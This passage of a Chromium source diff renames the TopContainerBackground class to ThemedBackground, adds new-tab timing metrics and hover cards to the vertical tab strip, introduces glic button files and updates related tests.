+++ b/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.cc
@@ -115,7 +115,8 @@
 
 void MultiContentsViewDropTargetController::OnTabDragEntered() {}
 
-void MultiContentsViewDropTargetController::OnTabDragExited() {
+void MultiContentsViewDropTargetController::OnTabDragExited(
+    const gfx::Point& point_in_screen) {
   ResetDropTargetTimers();
   HideDropTarget();
 }
diff --git a/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.h b/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.h
index 62cf61d5..9277ce7 100644
--- a/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.h
+++ b/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.h
@@ -69,7 +69,7 @@
   TabDragContext* OnTabDragUpdated(TabDragTarget::DragController& controller,
                                    const gfx::Point& point_in_screen) override;
   void OnTabDragEntered() override;
-  void OnTabDragExited() override;
+  void OnTabDragExited(const gfx::Point& point_in_screen) override;
   void OnTabDragEnded() override;
   bool CanDropTab() override;
   void HandleTabDrop(TabDragTarget::DragController& controller) override;
diff --git a/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller_unittest.cc b/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller_unittest.cc
index 010c670c..33321b4 100644
--- a/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller_unittest.cc
+++ b/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller_unittest.cc
@@ -349,7 +349,7 @@
   EXPECT_TRUE(drop_target_view().GetVisible());
 
   // Exiting the drag should hide it.
-  controller().OnTabDragExited();
+  controller().OnTabDragExited(gfx::Point());
   FastForward(kHideDropTargetDelay + kHideDropTargetAnimation);
   EXPECT_FALSE(drop_target_view().GetVisible());
 }
diff --git a/chrome/browser/ui/views/frame/multi_contents_view_mini_toolbar.cc b/chrome/browser/ui/views/frame/multi_contents_view_mini_toolbar.cc
index 4c16a72..d2f24eb 100644
--- a/chrome/browser/ui/views/frame/multi_contents_view_mini_toolbar.cc
+++ b/chrome/browser/ui/views/frame/multi_contents_view_mini_toolbar.cc
@@ -23,7 +23,7 @@
 #include "chrome/browser/ui/views/frame/browser_view.h"
 #include "chrome/browser/ui/views/frame/contents_container_outline.h"
 #include "chrome/browser/ui/views/frame/contents_web_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/common/webui_url_constants.h"
 #include "chrome/grit/generated_resources.h"
 #include "components/tabs/public/tab_interface.h"
@@ -220,7 +220,7 @@
 
 void MultiContentsViewMiniToolbar::OnPaint(gfx::Canvas* canvas) {
   // Paint the mini toolbar background to match the toolbar.
-  TopContainerBackground::PaintBackground(canvas, this, browser_view_);
+  ThemedBackground::PaintBackground(canvas, this, browser_view_);
 }
 
 void MultiContentsViewMiniToolbar::OnThemeChanged() {
diff --git a/chrome/browser/ui/views/frame/shadow_overlay_view.cc b/chrome/browser/ui/views/frame/shadow_overlay_view.cc
index 7948f12d..77ada06 100644
--- a/chrome/browser/ui/views/frame/shadow_overlay_view.cc
+++ b/chrome/browser/ui/views/frame/shadow_overlay_view.cc
@@ -8,7 +8,7 @@
 
 #include "chrome/browser/ui/color/chrome_color_id.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/side_panel/side_panel.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_animation_coordinator.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_animation_ids.h"
@@ -43,7 +43,7 @@
   static constexpr int kCornerOutset = 1;
 
   CornerView(Corner corner, BrowserView& browser_view) : corner_(corner) {
-    SetBackground(std::make_unique<TopContainerBackground>(&browser_view));
+    SetBackground(std::make_unique<ThemedBackground>(&browser_view));
   }
   ~CornerView() override = default;
 
@@ -61,7 +61,7 @@
  private:
   // Returns the clip path for the corner.
   //
-  // The contents need to be drawn by `TopContainerBackground` to ensure that
+  // The contents need to be drawn by `ThemedBackground` to ensure that
   // the correct content is drawn in all themes (including themes that e.g. use
   // an image background). However, the corner shape still needs to be drawn; in
   // order to ensure that only the opaque portion of the corner is painted a
diff --git a/chrome/browser/ui/views/frame/top_container_background.cc b/chrome/browser/ui/views/frame/themed_background.cc
similarity index 61%
rename from chrome/browser/ui/views/frame/top_container_background.cc
rename to chrome/browser/ui/views/frame/themed_background.cc
index f148310..f5f3d4e 100644
--- a/chrome/browser/ui/views/frame/top_container_background.cc
+++ b/chrome/browser/ui/views/frame/themed_background.cc
@@ -1,8 +1,8 @@
-// Copyright 2019 The Chromium Authors
+// Copyright 2026 The Chromium Authors
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 
 #include <optional>
 
@@ -27,13 +27,13 @@
   return view->GetWidget() ? view->GetWidget()->ShouldPaintAsActive() : true;
 }
 
-std::pair<int, ui::ColorId> GetColorChoiceInfo(
-    TopContainerBackground::ColorChoice color_choice,
+std::pair<int, ui::ColorId> GetThemeChoiceInfo(
+    ThemedBackground::ThemeChoice theme_choice,
     const views::View* view) {
-  switch (color_choice) {
-    case TopContainerBackground::ColorChoice::kToolbarColor:
+  switch (theme_choice) {
+    case ThemedBackground::ThemeChoice::kToolbarTheme:
       return {IDR_THEME_TOOLBAR, kColorToolbar};
-    case TopContainerBackground::ColorChoice::kFrameColor:
+    case ThemedBackground::ThemeChoice::kFrameTheme:
       if (IsFrameActive(view)) {
         return {IDR_THEME_FRAME, ui::kColorFrameActive};
       } else {
@@ -46,21 +46,19 @@
 
 }  // namespace
 
-TopContainerBackground::TopContainerBackground(BrowserView* browser_view,
-                                               ColorChoice color_choice)
-    : browser_view_(browser_view), color_choice_(color_choice) {}
+ThemedBackground::ThemedBackground(BrowserView* browser_view,
+                                   ThemeChoice theme_choice)
+    : browser_view_(browser_view), theme_choice_(theme_choice) {}
 
-void TopContainerBackground::Paint(gfx::Canvas* canvas,
-                                   views::View* view) const {
-  PaintBackground(canvas, view, browser_view_, color_choice_);
+void ThemedBackground::Paint(gfx::Canvas* canvas, views::View* view) const {
+  PaintBackground(canvas, view, browser_view_, theme_choice_);
 }
 
-bool TopContainerBackground::PaintThemeCustomImage(
-    gfx::Canvas* canvas,
-    const views::View* view,
-    const BrowserView* browser_view,
-    ColorChoice color_choice) {
-  int theme_resource_id = GetColorChoiceInfo(color_choice, view).first;
+bool ThemedBackground::PaintThemeCustomImage(gfx::Canvas* canvas,
+                                             const views::View* view,
+                                             const BrowserView* browser_view,
+                                             ThemeChoice theme_choice) {
+  int theme_resource_id = GetThemeChoiceInfo(theme_choice, view).first;
 
   if (!WillPaintCustomImage(view, theme_resource_id)) {
     return false;
@@ -73,11 +71,10 @@
   return true;
 }
 
-void TopContainerBackground::PaintThemeAlignedImage(
-    gfx::Canvas* canvas,
-    const views::View* view,
-    const BrowserView* browser_view,
-    gfx::ImageSkia* image) {
+void ThemedBackground::PaintThemeAlignedImage(gfx::Canvas* canvas,
+                                              const views::View* view,
+                                              const BrowserView* browser_view,
+                                              gfx::ImageSkia* image) {
   // Get the origin of this view and translate it to coordinate system of the
   // BrowserView.
   gfx::Point pos;
@@ -101,28 +98,28 @@
                        SkTileMode::kRepeat, SkTileMode::kMirror);
 }
 
-void TopContainerBackground::PaintBackground(gfx::Canvas* canvas,
-                                             const views::View* view,
-                                             const BrowserView* browser_view,
-                                             ColorChoice color_choice) {
+void ThemedBackground::PaintBackground(gfx::Canvas* canvas,
+                                       const views::View* view,
+                                       const BrowserView* browser_view,
+                                       ThemeChoice theme_choice) {
   bool painted =
-      PaintThemeCustomImage(canvas, view, browser_view, color_choice);
+      PaintThemeCustomImage(canvas, view, browser_view, theme_choice);
   if (!painted) {
     canvas->DrawColor(view->GetColorProvider()->GetColor(
-        GetColorChoiceInfo(color_choice, view).second));
+        GetThemeChoiceInfo(theme_choice, view).second));
   }
 }
 
-std::optional<SkColor> TopContainerBackground::GetBackgroundColor(
+std::optional<SkColor> ThemedBackground::GetBackgroundColor(
     const views::View* view,
     const BrowserView* browser_view,
-    ColorChoice color_choice) {
-  std::pair<int, ui::ColorId> color_choice_info =
-      GetColorChoiceInfo(color_choice, view);
+    ThemeChoice theme_choice) {
+  std::pair<int, ui::ColorId> theme_choice_info =
+      GetThemeChoiceInfo(theme_choice, view);
   const bool will_be_painted =
-      WillPaintCustomImage(view, color_choice_info.first);
+      WillPaintCustomImage(view, theme_choice_info.first);
   if (!will_be_painted) {
-    return view->GetColorProvider()->GetColor(color_choice_info.second);
+    return view->GetColorProvider()->GetColor(theme_choice_info.second);
   }
 
   return std::nullopt;
diff --git a/chrome/browser/ui/views/frame/top_container_background.h b/chrome/browser/ui/views/frame/themed_background.h
similarity index 78%
rename from chrome/browser/ui/views/frame/top_container_background.h
rename to chrome/browser/ui/views/frame/themed_background.h
index cc976c5..66b5ec2 100644
--- a/chrome/browser/ui/views/frame/top_container_background.h
+++ b/chrome/browser/ui/views/frame/themed_background.h
@@ -1,9 +1,9 @@
-// Copyright 2019 The Chromium Authors
+// Copyright 2026 The Chromium Authors
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CHROME_BROWSER_UI_VIEWS_FRAME_TOP_CONTAINER_BACKGROUND_H_
-#define CHROME_BROWSER_UI_VIEWS_FRAME_TOP_CONTAINER_BACKGROUND_H_
+#ifndef CHROME_BROWSER_UI_VIEWS_FRAME_THEMED_BACKGROUND_H_
+#define CHROME_BROWSER_UI_VIEWS_FRAME_THEMED_BACKGROUND_H_
 
 #include <optional>
 
@@ -17,17 +17,15 @@
 // Background which renders the appropriate toolbar/bookmarks/etc. background
 // on a view which must be a descendant of the browser view in the hierarchy. If
 // there is a background image, it will be painted or tiled appropriately.
-// TODO(crbug.com/473064096): Refactor to be More Extensible.
-class TopContainerBackground : public views::Background {
+class ThemedBackground : public views::Background {
  public:
-  enum ColorChoice { kToolbarColor, kFrameColor };
+  enum ThemeChoice { kToolbarTheme, kFrameTheme };
   // Construct a themed background for the specified browser.
-  explicit TopContainerBackground(BrowserView* browser_view,
-                                  ColorChoice color_choice = kToolbarColor);
+  explicit ThemedBackground(BrowserView* browser_view,
+                            ThemeChoice theme_choice = kToolbarTheme);
 
-  TopContainerBackground(const TopContainerBackground& other) = delete;
-  TopContainerBackground& operator=(const TopContainerBackground& other) =
-      delete;
+  ThemedBackground(const ThemedBackground& other) = delete;
+  ThemedBackground& operator=(const ThemedBackground& other) = delete;
 
   // We need a mechanism to consistently paint theme custom images across
   // multiple views. Specifically, IDR_THEME_TOOLBAR and IDR_THEME_FRAME*, and
@@ -61,7 +59,7 @@
   static bool PaintThemeCustomImage(gfx::Canvas* canvas,
                                     const views::View* view,
                                     const BrowserView* browser_view,
-                                    ColorChoice color_choice = kToolbarColor);
+                                    ThemeChoice theme_choice = kToolbarTheme);
 
   // Similar to PaintThemeCustomImage but the image is supplied.
   static void PaintThemeAlignedImage(gfx::Canvas* canvas,
@@ -75,23 +73,23 @@
   static void PaintBackground(gfx::Canvas* canvas,
                               const views::View* view,
                               const BrowserView* browser_view,
-                              ColorChoice color_choice = kToolbarColor);
+                              ThemeChoice theme_choice = kToolbarTheme);
 
   // Returns the theme-aware solid background color painted when
   // IDR_THEME_TOOLBAR does not exist; otherwise returns a nullptr.
   static std::optional<SkColor> GetBackgroundColor(
       const views::View* view,
       const BrowserView* browser_view,
-      ColorChoice color_choice = kToolbarColor);
+      ThemeChoice theme_choice = kToolbarTheme);
 
-  ColorChoice GetColorChoice() { return color_choice_; }
+  ThemeChoice GetThemeChoice() { return theme_choice_; }
 
  private:
   // views::Background:
   void Paint(gfx::Canvas* canvas, views::View* view) const override;
 
   const raw_ptr<BrowserView> browser_view_;
-  ColorChoice color_choice_;
+  ThemeChoice theme_choice_;
 };
 
-#endif  // CHROME_BROWSER_UI_VIEWS_FRAME_TOP_CONTAINER_BACKGROUND_H_
+#endif  // CHROME_BROWSER_UI_VIEWS_FRAME_THEMED_BACKGROUND_H_
diff --git a/chrome/browser/ui/views/frame/top_container_view.cc b/chrome/browser/ui/views/frame/top_container_view.cc
index cbe2d856..4080ca1 100644
--- a/chrome/browser/ui/views/frame/top_container_view.cc
+++ b/chrome/browser/ui/views/frame/top_container_view.cc
@@ -11,7 +11,7 @@
 #include "chrome/browser/ui/views/frame/browser_widget.h"
 #include "chrome/browser/ui/views/frame/custom_corners_background.h"
 #include "chrome/browser/ui/views/frame/immersive_mode_controller.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/toolbar/toolbar_view.h"
 #include "ui/base/metadata/metadata_impl_macros.h"
 #include "ui/color/color_id.h"
diff --git a/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.cc b/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.cc
index e94e034..32724059 100644
--- a/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.cc
+++ b/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.cc
@@ -11,6 +11,9 @@
 #include "base/callback_list.h"
 #include "base/containers/adapters.h"
 #include "base/functional/bind.h"
+#include "base/metrics/histogram_functions.h"
+#include "base/metrics/user_metrics.h"
+#include "base/metrics/user_metrics_action.h"
 #include "base/notimplemented.h"
 #include "chrome/browser/ui/browser_actions.h"
 #include "chrome/browser/ui/browser_element_identifiers.h"
@@ -64,6 +67,9 @@
     : browser_view_(browser_view),
       tab_strip_model_(browser_view->browser()->GetTabStripModel()),
       state_controller_(state_controller),
+      hover_card_controller_(
+          std::make_unique<TabHoverCardController>(this,
+                                                   browser_view->browser())),
       resize_animation_(this) {
   // For z-ordering purposes this needs to be on a layer.
   SetPaintToLayer();
@@ -88,7 +94,10 @@
 
   bottom_button_container_ =
       AddChildView(std::make_unique<VerticalTabStripBottomContainer>(
-          state_controller_, root_action_item));
+          state_controller_, root_action_item,
+          base::BindRepeating(
+              &VerticalTabStripRegionView::RecordNewTabButtonPressed,
+              base::Unretained(this))));
   bottom_button_container_->SetProperty(
       views::kFlexBehaviorKey,
       views::FlexSpecification(views::MinimumFlexSizeRule::kPreferred,
@@ -159,6 +168,11 @@
 }
 
 views::View* VerticalTabStripRegionView::GetDefaultFocusableChild() {
+  const int active_index = tab_strip_model_->active_index();
+  if (active_index != TabStripModel::kNoTab) {
+    return GetTabAnchorViewAt(active_index);
+  }
+
   return top_button_container_;
 }
 
@@ -189,11 +203,16 @@
   CHECK(!tab_strip_controller_);
   tab_strip_controller_ = std::make_unique<VerticalTabStripController>(
       tab_strip_model, browser_view_, *AddChildView(std::move(drag_handler)),
-      std::move(tab_menu_model_factory));
+      hover_card_controller_.get(), std::move(tab_menu_model_factory));
 
   root_node_->SetController(tab_strip_controller_.get());
 
   root_node_->Init();
+
+  new_tab_button_pressed_start_time_ = std::nullopt;
+  on_children_added_subscription_ = root_node_->RegisterOnChildrenAddedCallback(
+      base::BindRepeating(&VerticalTabStripRegionView::OnChildrenAdded,
+                          base::Unretained(this)));
 }
 
 void VerticalTabStripRegionView::ResetTabStrip() {
@@ -201,6 +220,8 @@
     return;
   }
 
+  on_children_added_subscription_.reset();
+
   root_node_->Reset();
 
   root_node_->SetController(nullptr);
@@ -310,7 +331,7 @@
   VerticalTabView* tab_view = views::AsViewClass<VerticalTabView>(node->view());
   CHECK(tab_view);
 
-  return tab_view->tab_data();
+  return tab_view->data();
 }
 
 views::View* VerticalTabStripRegionView::GetTabAnchorViewAt(int tab_index) {
@@ -568,6 +589,21 @@
   return GetWidget() ? GetWidget()->ShouldPaintAsActive() : true;
 }
 
+void VerticalTabStripRegionView::RecordNewTabButtonPressed() {
+  new_tab_button_pressed_start_time_ = base::TimeTicks::Now();
+
+  base::RecordAction(base::UserMetricsAction("NewTab_Button"));
+}
+
+void VerticalTabStripRegionView::OnChildrenAdded() {
+  if (new_tab_button_pressed_start_time_.has_value()) {
+    base::UmaHistogramTimes(
+        "TabStrip.TimeToCreateNewTabFromPress",
+        base::TimeTicks::Now() - new_tab_button_pressed_start_time_.value());
+    new_tab_button_pressed_start_time_.reset();
+  }
+}
+
 TabDragTarget* VerticalTabStripRegionView::GetTabDragTarget(
     const gfx::Point& point_in_screen) {
   if (!drag_handler_) {
diff --git a/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.h b/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.h
index 12cef2a..2ed55b4 100644
--- a/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.h
+++ b/chrome/browser/ui/views/frame/vertical_tab_strip_region_view.h
@@ -12,6 +12,7 @@
 #include "chrome/browser/ui/tabs/tab_renderer_data.h"
 #include "chrome/browser/ui/tabs/vertical_tab_strip_state.h"
 #include "chrome/browser/ui/views/frame/tab_strip_region_view.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.h"
 #include "chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.h"
 #include "ui/base/metadata/metadata_header_macros.h"
@@ -161,6 +162,9 @@
 
   bool IsFrameActive() const;
 
+  void RecordNewTabButtonPressed();
+  void OnChildrenAdded();
+
   raw_ptr<BrowserView> browser_view_;
 
   // When false simulates a non-editable tabstrip. For testing only.
@@ -183,8 +187,10 @@
 
   const raw_ptr<TabStripModel> tab_strip_model_ = nullptr;
   const raw_ptr<tabs::VerticalTabStripStateController> state_controller_;
+  std::unique_ptr<TabHoverCardController> hover_card_controller_;
   base::CallbackListSubscription collapsed_state_changed_subscription_;
   base::CallbackListSubscription paint_as_active_subscription_;
+  std::optional<base::CallbackListSubscription> on_children_added_subscription_;
 
   // The width of the vertical tabstrip at the beginning of the current resize
   // operation. Is std::nullopt when not resizing.
@@ -201,6 +207,9 @@
   // Animation for collapsing (GetCurrentValue() -> 0) and expanding
   // (GetCurrentValue() -> 1).
   gfx::SlideAnimation resize_animation_;
+
+  // Used to track the time needed to create a new tab from the new tab button.
+  std::optional<base::TimeTicks> new_tab_button_pressed_start_time_;
 };
 
 #endif  // CHROME_BROWSER_UI_VIEWS_FRAME_VERTICAL_TAB_STRIP_REGION_VIEW_H_
diff --git a/chrome/browser/ui/views/frame/vertical_tab_strip_region_view_browsertest.cc b/chrome/browser/ui/views/frame/vertical_tab_strip_region_view_browsertest.cc
index 5f88ee66..3a5d561 100644
--- a/chrome/browser/ui/views/frame/vertical_tab_strip_region_view_browsertest.cc
+++ b/chrome/browser/ui/views/frame/vertical_tab_strip_region_view_browsertest.cc
@@ -508,16 +508,10 @@
 
 IN_PROC_BROWSER_TEST_F(VerticalTabStripRegionViewTest,
                        AccessiblePaneViewDefaultFocusableChild) {
-  // Add a tab.
-  AppendTab();
-
   // Ensure the default focusable element is the VerticalTabStripTopContainer.
   views::View* view = region_view()->GetDefaultFocusableChild();
   ASSERT_TRUE(view);
-  EXPECT_TRUE(views::IsViewClass<VerticalTabStripTopContainer>(view))
-      << "GetDefaultFocusableChild() should return a "
-         "VerticalTabStripTopContainer, but returned "
-      << view->GetClassName();
+  EXPECT_EQ(view, region_view()->GetTabAnchorViewAt(0));
 }
 
 IN_PROC_BROWSER_TEST_F(VerticalTabStripRegionViewTest,
diff --git a/chrome/browser/ui/views/glic/BUILD.gn b/chrome/browser/ui/views/glic/BUILD.gn
new file mode 100644
index 0000000..5e6e2cb
--- /dev/null
+++ b/chrome/browser/ui/views/glic/BUILD.gn
@@ -0,0 +1,55 @@
+# Copyright 2026 The Chromium Authors
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//chrome/common/features.gni")
+
+assert(enable_glic)
+
+source_set("glic") {
+  sources = []
+
+  if (!is_android) {
+    sources += [
+      "glic_button.h",
+      "glic_button_interface.h",
+    ]
+    deps = [
+      "//base",
+      "//chrome/browser/glic",
+      "//chrome/browser/ui:layout_constants",
+      "//chrome/browser/ui/views",
+      "//ui/base/metadata",
+      "//ui/gfx/geometry",
+      "//ui/views",
+    ]
+  }
+}
+
+if (!is_android) {
+  source_set("impl") {
+    sources = [ "glic_button.cc" ]
+    deps = [
+      ":glic",
+      "//base",
+      "//chrome/app:command_ids",
+      "//chrome/app:generated_resources_grit",
+      "//chrome/app/vector_icons",
+      "//chrome/browser:browser_public_dependencies",
+      "//chrome/browser/actor/resources:grit",
+      "//chrome/browser/background/glic",
+      "//chrome/browser/glic",
+      "//chrome/browser/ui:browser_element_identifiers",
+      "//chrome/browser/ui/browser_window",
+      "//chrome/browser/ui/color:color_headers",
+      "//chrome/browser/ui/user_education",
+      "//chrome/browser/ui/views/interaction",
+      "//chrome/common:chrome_features",
+      "//ui/base",
+      "//ui/base/metadata",
+      "//ui/gfx",
+      "//ui/gfx/geometry",
+      "//ui/views",
+    ]
+  }
+}
diff --git a/chrome/browser/ui/views/glic/glic_button.cc b/chrome/browser/ui/views/glic/glic_button.cc
new file mode 100644
index 0000000..9457fef
--- /dev/null
+++ b/chrome/browser/ui/views/glic/glic_button.cc
@@ -0,0 +1,39 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/ui/views/glic/glic_button.h"
+
+#include "base/notimplemented.h"
+
+namespace glic {
+
+template <typename T>
+  requires std::derived_from<T, views::LabelButton>
+void GlicButton<T>::Init(const std::u16string& tooltip) {}
+
+template <typename T>
+  requires std::derived_from<T, views::LabelButton>
+GlicButton<T>::~GlicButton() = default;
+
+template <typename T>
+  requires std::derived_from<T, views::LabelButton>
+void GlicButton<T>::SetDropToAttachIndicator(bool indicate) {
+  // TODO(crbug.com/454112198): Legacy "attached mode" code, clean this up.
+  if (indicate) {
+    SetBackgroundFrameActiveColorId(ui::kColorSysStateHeaderHover);
+  } else {
+    SetBackgroundFrameActiveColorId(kColorNewTabButtonCRBackgroundFrameActive);
+  }
+}
+
+template <typename T>
+  requires std::derived_from<T, views::LabelButton>
+gfx::Rect GlicButton<T>::GetBoundsWithInset() const {
+  // TODO(crbug.com/454112198): Legacy "attached mode" code, clean this up.
+  gfx::Rect bounds = this->GetBoundsInScreen();
+  bounds.Inset(this->GetInsets());
+  return bounds;
+}
+
+}  // namespace glic
diff --git a/chrome/browser/ui/views/glic/glic_button.h b/chrome/browser/ui/views/glic/glic_button.h
new file mode 100644
index 0000000..a0712d3
--- /dev/null
+++ b/chrome/browser/ui/views/glic/glic_button.h
@@ -0,0 +1,140 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_UI_VIEWS_GLIC_GLIC_BUTTON_H_
+#define CHROME_BROWSER_UI_VIEWS_GLIC_GLIC_BUTTON_H_
+
+#include <concepts>
+#include <variant>
+
+#include "base/feature_list.h"
+#include "chrome/browser/glic/browser_ui/glic_vector_icon_manager.h"
+#include "chrome/browser/glic/resources/grit/glic_browser_resources.h"
+#include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
+#include "chrome/browser/ui/color/chrome_color_id.h"
+#include "chrome/browser/ui/views/glic/glic_button_interface.h"
+#include "chrome/common/chrome_features.h"
+#include "ui/base/resource/resource_bundle.h"
+#include "ui/menus/simple_menu_model.h"
+
+class TabStripController;
+
+namespace views {
+class LabelButton;
+}
+
+namespace glic {
+
+inline constexpr int kIconSize = 16;
+inline constexpr ui::ColorId kTextOnHighlight = ui::kColorSysOnPrimary;
+inline constexpr ui::ColorId kForeground =
+    kColorNewTabButtonForegroundFrameActive;
+inline constexpr ui::ColorId kForegroundOnAltBackground =
+    ui::kColorSysOnSurface;
+
+bool EntrypointVariationsEnabled() {
+  return base::FeatureList::IsEnabled(features::kGlicEntrypointVariations);
+}
+
+bool ShouldUseAltIcon() {
+  return EntrypointVariationsEnabled() &&
+         features::kGlicEntrypointVariationsAltIcon.Get();
+}
+
+const gfx::VectorIcon& GlicVectorIcon() {
+  return GlicVectorIconManager::GetVectorIcon(IDR_GLIC_BUTTON_VECTOR_ICON);
+}
+
+ui::ImageModel GetNormalIcon() {
+  if (ShouldUseAltIcon()) {
+    return ui::ImageModel::FromImageSkia(
+        *ui::ResourceBundle::GetSharedInstance().GetImageSkiaNamed(
+            IDR_GLIC_BUTTON_ALT_ICON));
+  }
+  return ui::ImageModel::FromVectorIcon(
+      GlicVectorIcon(),
+      ShouldUseAltIcon() ? kForegroundOnAltBackground : kForeground, kIconSize);
+}
+
+bool HighlightNudgeEnabled() {
+  return EntrypointVariationsEnabled() &&
+         features::kGlicEntrypointVariationsHighlightNudge.Get();
+}
+
+ui::ImageModel GetIconForHighlight() {
+  if (!HighlightNudgeEnabled()) {
+    return {};
+  }
+  return ui::ImageModel::FromVectorIcon(GlicVectorIcon(), kTextOnHighlight,
+                                        kIconSize);
+}
+
+template <typename T>
+  requires std::derived_from<T, views::LabelButton>
+class GlicButton : public T,
+                   public GlicButtonInterface,
+                   public ui::SimpleMenuModel::Delegate {
+ public:
+  template <typename... BaseArgs>
+  GlicButton(BrowserWindowInterface* browser_window_interface,
+             std::optional<TabStripController*> tab_strip_controller,
+             base::RepeatingClosure hovered_callback,
+             base::RepeatingClosure mouse_down_callback,
+             base::RepeatingClosure expansion_animation_done_callback,
+             const std::u16string& tooltip,
+             BaseArgs&&... base_args)
+      : T(std::move(base_args)...),
+        browser_window_interface_(browser_window_interface),
+        menu_model_(CreateMenuModel()),
+        hovered_callback_(std::move(hovered_callback)),
+        mouse_down_callback_(std::move(mouse_down_callback)),
+        expansion_animation_done_callback_(
+            std::move(expansion_animation_done_callback)),
+        normal_icon_(GetNormalIcon()),
+        icon_for_highlight_(GetIconForHighlight()) {
+    Init(tooltip);
+  }
+
+  GlicButton(const GlicButton&) = delete;
+  GlicButton& operator=(const GlicButton&) = delete;
+  ~GlicButton() override;
+
+  // GlicButtonInterface:
+  void SetDropToAttachIndicator(bool indicate) override;
+  gfx::Rect GetBoundsWithInset() const override;
+
+ protected:
+  void Init(const std::u16string& tooltip);
+
+  const raw_ptr<BrowserWindowInterface> browser_window_interface_;
+
+  // Model for the context menu.
+  std::unique_ptr<ui::MenuModel> menu_model_;
+
+  // Callback which is invoked when the button is hovered (i.e., the user is
+  // more likely to interact with it soon).
+  base::RepeatingClosure hovered_callback_;
+
+  // Callback which is invoked when there is a mouse down event on the button
+  // (i.e., the user is very likely to interact with it soon).
+  base::RepeatingClosure mouse_down_callback_;
+
+  // Invoked when the button hide animation finishes.
+  base::RepeatingClosure expansion_animation_done_callback_;
+
+  const ui::ImageModel normal_icon_;
+  const ui::ImageModel icon_for_highlight_;
+
+ private:
+  // Creates the model for the context menu.
+  std::unique_ptr<ui::SimpleMenuModel> CreateMenuModel();
+
+  virtual void SetBackgroundFrameActiveColorId(ui::ColorId new_color_id) {}
+
+  base::WeakPtrFactory<GlicButton> weak_ptr_factory_{this};
+};
+
+}  // namespace glic
+
+#endif  // CHROME_BROWSER_UI_VIEWS_GLIC_GLIC_BUTTON_H_
diff --git a/chrome/browser/ui/views/glic/glic_button_interface.h b/chrome/browser/ui/views/glic/glic_button_interface.h
new file mode 100644
index 0000000..2c96d2d
--- /dev/null
+++ b/chrome/browser/ui/views/glic/glic_button_interface.h
@@ -0,0 +1,23 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_UI_VIEWS_GLIC_GLIC_BUTTON_INTERFACE_H_
+#define CHROME_BROWSER_UI_VIEWS_GLIC_GLIC_BUTTON_INTERFACE_H_
+
+#include "ui/views/view.h"
+
+class BrowserWindowInterface;
+
+namespace views {
+class LabelButton;
+}
+
+namespace glic {
+class GlicButtonInterface {
+ public:
+  static views::LabelButton* FromBrowser(BrowserWindowInterface* browser);
+};
+}  // namespace glic
+
+#endif  // CHROME_BROWSER_UI_VIEWS_GLIC_GLIC_BUTTON_INTERFACE_H_
diff --git a/chrome/browser/ui/views/incognito_clear_browsing_data_dialog_browsertest.cc b/chrome/browser/ui/views/incognito_clear_browsing_data_dialog_browsertest.cc
index e30831e..0d142d3 100644
--- a/chrome/browser/ui/views/incognito_clear_browsing_data_dialog_browsertest.cc
+++ b/chrome/browser/ui/views/incognito_clear_browsing_data_dialog_browsertest.cc
@@ -116,11 +116,12 @@
   auto destroyed_observer = BubbleWidgetDestroyedObserver(
       GetIncognitoBrowser(), GetDialogView()->GetWidget());
 
+  ui_test_utils::BrowserDestroyedObserver observer(GetIncognitoBrowser());
   GetDialogView()->AcceptDialog();
   histogram_tester.ExpectBucketCount(
       "Incognito.ClearBrowsingDataDialog.ActionType",
       IncognitoClearBrowsingDataDialog::DialogActionType::kCloseIncognito, 1);
-  ui_test_utils::WaitForBrowserToClose(GetIncognitoBrowser());
+  observer.Wait();
   ASSERT_EQ(0u, chrome::GetIncognitoBrowserCount());
 }
 
@@ -185,8 +186,9 @@
   OpenDialog(IncognitoClearBrowsingDataDialogInterface::Type::
                  kHistoryDisclaimerBubble);
 
+  ui_test_utils::BrowserDestroyedObserver observer(GetIncognitoBrowser());
   GetDialogView()->CancelDialog();
-  ui_test_utils::WaitForBrowserToClose(GetIncognitoBrowser());
+  observer.Wait();
   ASSERT_EQ(0u, chrome::GetIncognitoBrowserCount());
 }
 
diff --git a/chrome/browser/ui/views/infobars/confirm_infobar.cc b/chrome/browser/ui/views/infobars/confirm_infobar.cc
index f0ccd93..3116802 100644
--- a/chrome/browser/ui/views/infobars/confirm_infobar.cc
